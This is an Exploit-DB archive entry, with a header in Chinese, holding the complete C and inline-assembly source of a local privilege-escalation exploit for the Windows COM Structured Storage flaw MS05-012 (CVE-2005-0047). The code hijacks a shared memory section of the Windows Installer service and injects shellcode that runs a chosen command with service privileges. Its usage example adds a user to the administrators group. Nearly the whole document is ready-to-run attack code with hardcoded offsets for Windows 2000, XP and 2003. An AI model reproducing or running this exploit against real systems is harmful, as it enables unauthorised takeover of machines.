标题: Microsoft Windows - COM Structured Storage Local (MS05-012) EDB-ID: 1019 CVE: 2005-0047 类型: LOCAL 平台: WINDOWS 发布日期: 2005-05-31 漏洞利用脚本: // by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
// More exploits at www.argeniss.com/products.html
//
// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions 
// from msiexec service process with WinObj or crash the msiexec service and try again 
// if offsets don't work, debug and change them

#include <windows.h>
#include <stdio.h>

typedef struct _LSA_UNICODE_STRING {  
 USHORT Length;  
 USHORT MaximumLength; 
 PWSTR Buffer;
} UNICODE_STRING;

typedef struct _OBJDIR_INFORMATION {
  UNICODE_STRING          ObjectName;
  UNICODE_STRING          ObjectTypeName;
  BYTE                    Data[1];
} OBJDIR_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        
    PVOID SecurityQualityOfService;  
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;

typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;

typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT  NtOpenDirectoryObject;


DWORD WINAPI  LoadWinInstaller(LPVOID lpParam) 
{ 
 HMODULE hMsi;

 hMsi = LoadLibrary("msi.dll"); 
 MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
  //run unistall , without permissions this makes a windows pop up
  //while this window is showing the shared section is created and available on Windows Installer service process
 MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
  
 return 0; 
} 



int main(int argc, char* argv[])
{

  OBJDIR_INFORMATION *ssinfo  =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);

  HANDLE hFile,hThread,hMapFile; 
  HMODULE hNtdll ,hKernel;
  DWORD dwThreadId; 
  OBJECT_ATTRIBUTES obj;
  WCHAR  * uString=L"\\BaseNamedObjects";
  UNICODE_STRING str;
  DWORD i,a,iStrLen,b=0;
  char sObjName[30],sTmp[50];
  LPVOID lpMapAddress;
  FARPROC pWinExec,pExitThread;
  bool bFound;
  char* sCommand;


  if (!argv[1]||!argv[2]) {
 printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\" \n");
 printf("\nExamples :\n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
 exit(0);
  }
    
  iStrLen=strlen(argv[2]);

  if(iStrLen>=65){
 printf("\n\"command\" must be less than 65 chars.\n");
 exit(0);
  }

  sCommand=argv[2];

  hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId); 

  Sleep(3000);

  hNtdll = LoadLibrary("ntdll.dll");    

  NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
  NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
  
  str.Length=wcslen(uString)*2;
  str.MaximumLength =wcslen(uString)*2+2;
  str.Buffer =uString;

  InitializeObjectAttributes (&obj, &str, 0, 0, 00);
  NtOpenDirectoryObject(&hFile,0x20001,&obj);

  printf("\nSearching for Shared Section...\n\n"); 

  // Get all objects names under \BaseNamedObjects

  if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
 do{ 
  bFound=NULL;
  while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
    //check if it's a section name 
   if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){             
    for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
     sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
    }
        //check if it's the one we are searching for
    if (!strncmp(sObjName,"DfSharedHeap",12)){      
     bFound=1;
     break;
    }
   }
  }
  if (bFound)
   printf("Shared Section Found: %s\n",sObjName);
  else {
   printf("Shared Section Not Found");
   exit(0);
  }
    
  strcpy(sTmp,"Global\\");
  strcat(sTmp,sObjName);    //append global prefix to support Terminal Services 

  hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp); 
 
      //the shared section name couldn't be the one we are searching for
  if (hMapFile == NULL) 
   printf("Could not open Shared Section\n\n"); 
  else
   printf("Shared Section opened\n\n"); 
 
 } while (hMapFile == NULL) ;

 lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
 
 if (lpMapAddress == NULL) { 
  printf("Could not map Shared Section"); 
  exit(0);
 }
 else 
  printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n"); 

 hKernel=LoadLibrary("Kernel32.dll");
 
 pWinExec=GetProcAddress(hKernel,"WinExec");
 pExitThread=GetProcAddress(hKernel,"ExitThread");

 _asm{
   
  mov eax,fs:[30h]   // get pointer to PEB 
  mov eax,[eax+0A8h] // get OS minor version
  cmp eax,0x0
  jz W2ksp4
  cmp eax,0x1        
  jz WinXPsp2
  jmp Win2K3   // address of section seems static on same OS version
     
 W2Ksp4:
  mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
  mov edx,0x01020004 // address of shellcode
  jmp Done
 
 WinXPsp2:
  mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer
  mov edx,0x00870004 // address of shellcode
  jmp Done
 
 Win2K3:
  mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer
  mov edx,0x007C0004 // address of shellcode

 Done:
  mov ebx,lpMapAddress
  mov ecx, 0x1000

 l00p:                  // overwrite section data, so overwriten structures will point to shellcode
  mov dword ptr[ebx],eax 
  sub ecx,0x4
  add ebx,0x4

  cmp ecx,0x0
  jnz l00p

  mov ebx,lpMapAddress  //address of shellcode
  mov dword ptr[ebx],edx                    
  
 //start copying shellcode
    
  lea esi, Shellcode
  lea edi, [ebx+4]
  lea ecx, End
  sub ecx, esi
  push esi
  push edi
  cld
  rep movsb

  pop edi
  pop esi
  push edi
  lea ecx, CommandBuf
  sub ecx, esi
  add edi, ecx
  mov esi, sCommand
  mov ecx, iStrLen
  rep movsb
  mov [edi], 0x00

  pop edi
  mov esi, pWinExec
  mov [edi+0x5], esi

  mov esi, pExitThread
  mov [edi+0x9], esi

 }

 printf("Command should have been executed ;)\n"); 
 CloseHandle(hMapFile);

  }
  else printf("Couldn't get object names \n"); 

  return 0;

 _asm{

 Shellcode:
  call getDelta
    // this gets overwrited
  mov ax,0xffff 
  mov ax,0xffff 

 CommandBuf:     // this gets overwrited
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 
  mov dword ptr[eax],0x55555555 

 getDelta:
  pop edx       // Get shellcode/shared section pointer
  push edx      // save edx

  push 0x1      // push 0x0 for hidden window
  lea eax, [edx+0x8]     
  push eax      // Command offset
  call [edx]      // Call WinExec
       
  pop edx
  call [edx+0x4]     // Call ExitThread to avoid msiexec service to crash

 End:
 }
}

// milw0rm.com [2005-05-31] URL: https://www.exploit-db.com/exploits/1019